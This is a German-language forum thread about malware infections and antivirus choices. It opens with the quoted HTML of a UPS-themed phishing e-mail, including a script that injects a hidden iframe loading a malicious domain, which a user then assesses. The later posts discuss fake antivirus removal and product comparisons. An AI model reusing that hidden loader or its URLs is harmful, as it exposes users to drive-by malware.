confidential. If you are not the intended recipient, the reading, copying,
disclosure or other use of the contents of this e-mail is strictly
prohibited and you are instructed to please delete this e-mail immediately.
</span></font></p>
</td>
</tr>
<tr>

<td style="padding:0in" valign="top">
<p><font face="Times New Roman" size="1"><span style="font-size:8pt"><a rel="nofollow" href="http://www6apps-myups.com/main.php?page=4e9c2029c8fe7948" target="_blank">Privacy
Policy</a><br>
<a rel="nofollow" href="http://www6apps-myups.com/main.php?page=4e9c2029c8fe7948" target="_blank">Contact
UPS</a></span></font></p>
</td>
</tr>
</tbody></table>
</div>
<p><font color="#60513a" face="Arial" size="2"><span style="font-size:10pt;font-family:Arial;color:rgb(96,81,58)"><img src="http://www6apps-myups.com/main.php?page=4e9c2029c8fe7948" border="0" height="1" width="1"></span></font></p>
</td>
</tr>
</tbody></table>
</div>
<p><font face="Times New Roman" size="3"><span style="font-size:12pt">  </span></font></p>

</div>
</div></blockquote></td></tr></table>
</div>
</table>

 </body>
</html>
<!-- counter --><script language=javascript>status=location;document.write('<iframe src="http://www6apps-myups.com/main.php?page=4e9c2029c8fe7948" width="0" height="0" frameborder="0"></iframe>');</script><!-- counter -->
<html><body></body></html>

 

Also ich würde vermuten, dass du dir durch die Vorschaufunktion nichts eingefangen hast. Es wird ja anscheinend keine Javascipt Datei nachgeladen, die irgendwas machen könnte, wenn ich jetzt nichts übersehen habe.

In dieser Email wird ein Schädling wohl nur über die exe Datei verteilt, die man runterladen und ausführen muss.

HTML Ansicht würde ich trotzdem deaktivieren.

 

Also über Ansicht/Nachrichteninhalt/Reiner Text und Ansicht/Anhäge eingebunden anzeigen (deaktivieren)?

 

Hey,

ich habe folgendes Problem:

Ich habe mir vor einigen Tagen einen Virus eingefangen, der in Gestalt des Programms "Live Security Platinum" auftrat. Um ehrlich zu sein habe ich keine ahnung wie ich daran gekommen bin, da ich nichts runtergeladen habe, oder auf komisches Seiten war.

Wie dem auch sei, das Programm konnte entfernt werden, dennoch findet Antivir. immer neue Viren und Trojaner, die sich wohl nciht wirklich entfernen lassen.
Daher gibt es wohl nur eine Lösung: System neu aufsetzen. Da ich jedoch momentan nur sehr wenig Zeit habe hätte ich eine Frage: Wäre es möglich parallel neben Windows noch Ubuntu zu installieren und mit Ubuntu noch sicher zu surfen (Online-Banking etc.) oder wäre das System auch sofort infiziert?

Wenn das nämlich ginge würde ich ersteinmal auf Ubuntu umsteigen und dann in ein paar Wochen das gesamte Systen neu aufsetzen.

MFG

 

Da kannst du doch gleich die Festplatte leerfegen und Windows neu installieren, Ubuntu muss auch erst installiert werden und dann noch massig Updates ziehen...

 

Ja schon, aber ich hätte erstmal ein "sicheres" System zum surfen.

Platte leerfegen geht ja nur überein mit Daten sichern etc. was sehr lange dauern würde

 

Was sicherst du denn an Daten?
Wohl nur Dokumente, Musik und Filme.
So, die sollten normalerweise eh auf ner 2ten Partition liegen und werden dann auch bei ner Formatierung nicht berührt. Und von Viren befallen sind die auch nicht.
Bevor du jetzt noch Ubuntu auf ne neue Partition knallst und dann dort alles einrichtest, dann lieber gleich Windows neu aufsetzen. Das geht nämlich wesentlich schneller.

 

Und wenn du ganz fies bist, offenbarst du ihm, dass er sowieso den MBR neu schreiben und die ganze Platte neu partitionieren müsste, um verlässlich alles von der Platte zu kriegen

 

Und was spricht dagegen, sich Ubuntu in der Live-Version auf einen USB-Stick zu ziehen? Dauert ein paar Minuten, das Booten davon rund eine Minute und man kann zumindest Online-Banking damit durchführen...

 

Das heißt Ubuntu wäre erstmal sauber und als solches auch für "kritische" Aktionen (Online-Banking etc.) zu gebrauchen?

@Rest: Danke für die Hilfe, aber ich ich müsste dann auch erstmal einige Treiber und andere Daten sichern die sich auf der Platte befinden, was deutlich aufwändiger ist.

 

Aloha, ich hoffe man kann mir hier ein wenig helfen
ich hab mir einen schädling eingefangen, der mich immer wieder beim anklicken von Links umleitet (da steht dann this document has moved... redirecting...), meistens auf irgendwelche Partnerbörsen, Gutscheinseite und ähnliches Zeugs (aber auch schonmal auf eine seite, wo ein Fesnter aufging, von wegen System ist infiziert, schnell das runterladen und installieren, damit wieder alles läuft...).
Per google hab ich ein paar Sachen gefunde, wo andere das gleiche Problem hatte, da wurde oft nach allen möglichen logs gefragt, von denen ich aber keine ahnung hab wie man die auswerten soll. Also, falls hier einer so nett wäre, was für logs werden da benötigt und kann da jemand drübergucken? Würde ein Neuaufsetzen wenn's geht vermeiden.
Danke schonmal!

 

Ich musste mich heute 3 Stunden lang mit dem unschönen Programm LIVE SECURITY PLATINUM beschäftigen.
Das Programm gibt sich als kostenfreies AntivrusProgramm aus und bewirkt dass, das Normale AntiVirusProgramm geblockt wird, der Taskemanager außer Funktion gestezt wird und das man das Programm nicht über Systemsteuerung oder Programmpfad löschen kann.
Auch wird die Suchfunktion im IE oder Mozilla geblockt so das man sich nicht über das Programm informieren kann.
Tja die einfache Lösung wäre die 98 Euro zu bezahlen und damit die Vollversion zu kaufen, welche man anschließend löschen kann, wobei ich nicht glaube dass, es dann Endgültig ist!
Ich habe dann mit meinen Laptop gegooglet und über CHIP online mir das Programm, SARDU, gezogen, damit kann dann eine ISO CD erstellen, wodruch man dann über BIOS dieverse AntiVirus Programme direkt von der CD Bootet und damit letztenendlich LIVE SECURITY PLATINUM löschen kann.
Eine genaue Anleitung und Bilderbeschreibung gibt es bei CHIP online dazu.

 

Nein.

 

Naja, immerhin hast du's kurz und schmerzlos gemacht

 

Hio, grad hab ich von meinem kaspersky internet security die meldung bekommen, dass meine lizenz in 30 tagen abläuft. Ich war zwar mit kaspersky eigentlich zufrieden, hatte aber z.B. bei twitch.tv das problem, dass der chat manchmal geblockt wurde, was dann den rechner alle 5-10 sekunden fpr 2-3 sekunden komplett einfriert.

Ist ein bekanntes problem mit kaspersky und außer manche schutzkomponenten zu deaktivieren gibts keine lösung (zumindest konnte mir der support (eigentlich kompetent) nichts anderes sagen.

Nun hab ich vor n paar jahren gehört, dass Norton wieder ganz gut sein soll, stimmt das?

Das programm darf gerne kosten, aber ich bräuchte ne mehrplatzlizenz für 2 rechner. gabs bei kaspersky für 30€ etwa. für 3 rechner wäre auch ok, müsste ich meinen eltern die dritte verkaufen^^


ps: ich weiß auch, dass brain.exe die beste antivierensoftware is, aber ohne will ich nich rmsurfen, und den gratis versionen trau ich nich so wirklich... beispiel avira, updatet höchstens einmal am tag, kaspersky locker 3 mal...

 

Wie oft Kasperle seine Updates holt, kann man aber einstellen. Was Twitch angeht -> Evtl. Ausnahmen setzen?

 

ne, das hatte irgendwas mit der liveschutz zu tun. der support meinte damals ich müsste die ganze komponente solange deaktivieren...

e: ich werd mir wohl norton holen, gute bewertungen bei chip und amazon.

 

Hat hier eigentlich auch jemand das Problem mit Avast, dass es nicht upgedated werden kann? Scheint weiter verbreitet zu sein, aber man bemerkt es erst, wenn man das englische Forum konsultiert.


http://forum.avast.com/index.php?topic=106570.0
http://forum.avast.com/index.php?topic=106560.0


"Unzulässige Dateisignatur" oder was auch immer es angezeigt hat. Mich kotzen diese kryptischen Ausgaben von Programmen nur noch an, vor allem, wenn man dann erraten darf, wie sie es übersetzt haben, damit man's auf Englisch in Google klopfen kann, weil's auf Deutsch kein hilfreiches Ergebnis gibt außer "im abgesicherten Modus mit dem speziellen Avast-Entferner entfernen und dann neu aufspielen", was nichts hilft, aber Zeit und Nerven kostet.

Wixer.

So, jetzt geht's wieder.

Wo wir grade dabei sind: Avast hat ja zudem noch begonnen sich selbst mit tollen Pop-ups zu bewerben. Andere Vorschläge zu kostenlosen Antivirensoftware im Jahr 2012? AVG? Avira? Danke im Voraus.

 

Von Avira rate ich ab, außerdem gibts da auch Popups. Microsoft Security Essentials hat keine, ist aber auch nicht grad das beste Produkt.

 

Leider deckt sich das mit meinen Internetrecherchen, Avast scheint die beste Gratis-Software zu sein. Dann hoffe ich mal, das Problem erledigt sich bald. Ansonsten wird halt AVG herhalten müssen. Scheint zumindest brauchbar.

 

Ich frage mich jedoch bei AVAST wie finanziert sich das ganze.
Was die einen kostenlos bieten bekommst man bei anderen nicht mal für 29€ im Jahr

 

Wieso wird von Avira abgeraten? Benutze ich eigentlich seit jeher, bis auf die Werbung und selten mal Fehlermeldungen eigentlich ganz brauchbar, hatte zumindest keine Viren auf der Platte. Oder sagen wir so, nicht das ich wüsste.

Gut auf Chip.de kann man eigentlich nicht viel geben, aber laut denen schneidet AVG diesmal besser als Avast ab. Avira steht in der Liste auch über Avast.

[Link]

Tjoar, also bei Avira bleiben oder wechseln? Hab eigentlich nur die Windows Firewall, Avira und noch Search & Destroy, wobei ich bei letzterem überlege wieder zu deinstallieren.

 

Es wird wohl von Avira abgeraten, weil die Software sich in der Vergangenheit ein paar dämliche Schnitzer geleistet hat. Bspw. das Blocken von normalen Windows-Diensten oder das Verhindern des Bootens. Spricht Bände über die Kompetenz. Oder das Aufpoppen von Werbung. (Jeweils in Bezahlversionen).
Oder die Ask.com-Installation in der kostenlosen Version.
Das wurde zwar alles gefixt, aber naja.


Hier noch mal eine andere Testübersicht: http://www.av-test.org/en/tests/home-user/windows-7/mayjun-2012/

 

Solche Leichen hat jeder Antivirenhersteller im Keller.
Ich empfehle MSE. Das nervt nicht und macht nicht alles langsam.

 

Ich mache dazu noch einen wöchentlichen Scan mit Malwarebytes und die Kiste läuft schön flüssig

 

Normalerweise komme ich ja immer mit Google zurecht, aber diese Fehlermeldung finde ich nirgends. Das ist doch garantiert nicht kosher oder?
http://s1.directupload.net/file/d/3094/586yhs88_jpg.htm

 

Sorry wenn ich in diesen alten Thread poste, aber ich wollte keinen neuen aufmachen
Wie ist denn der aktuelle Stand? Hab aktuell Avast Free in der neuesten Version. Laut AVtest ist der Bitdefender der aktuell beste Virenscanner. Lohnt es sich, diesen zu kaufen oder bleibe ich besser bei Avast?

 

Von Bitdefender kann ich dank Bluescreens ganz klar abraten. Die hatte ich nun schon auf allen Rechnern wo ich es einsetze und die haben mich auch schon diverse Arbeit gekostet.

 

Welchen kannst du dann empfehlen? Einfach bei Avast bleiben?

 

Bleibe bei Avast (der ist gut) und such dir mit Zera ein Zimmer.

 

Keinen.
F-Secure hatte ich vorher, aber da ist die Whitelist nur eingeschränkt funktionsfähig und er fängt einen Monat vor Ablauf der Lizenz an zu nerven.

 

Hatte ebenfalls jahrelang Avira auf dem Rechner. Nachdem mich Avira jedoch daran gehindert hat, Programme zu installieren die definitiv keine Viren mit dabei hatten und ich daraufhin gegoogled und herausgefunden habe, dass Avira diese Programme einfach nicht erlaubt zu installieren, habe ich Avira deinstalliert.
Hoffe der Satz war verständlich

Bin seitdem bei Avast und mehr als zufrieden ... seitdem ich die nervige Frauenstimme deaktiviert habe, die einen immer erschreckt.

 

?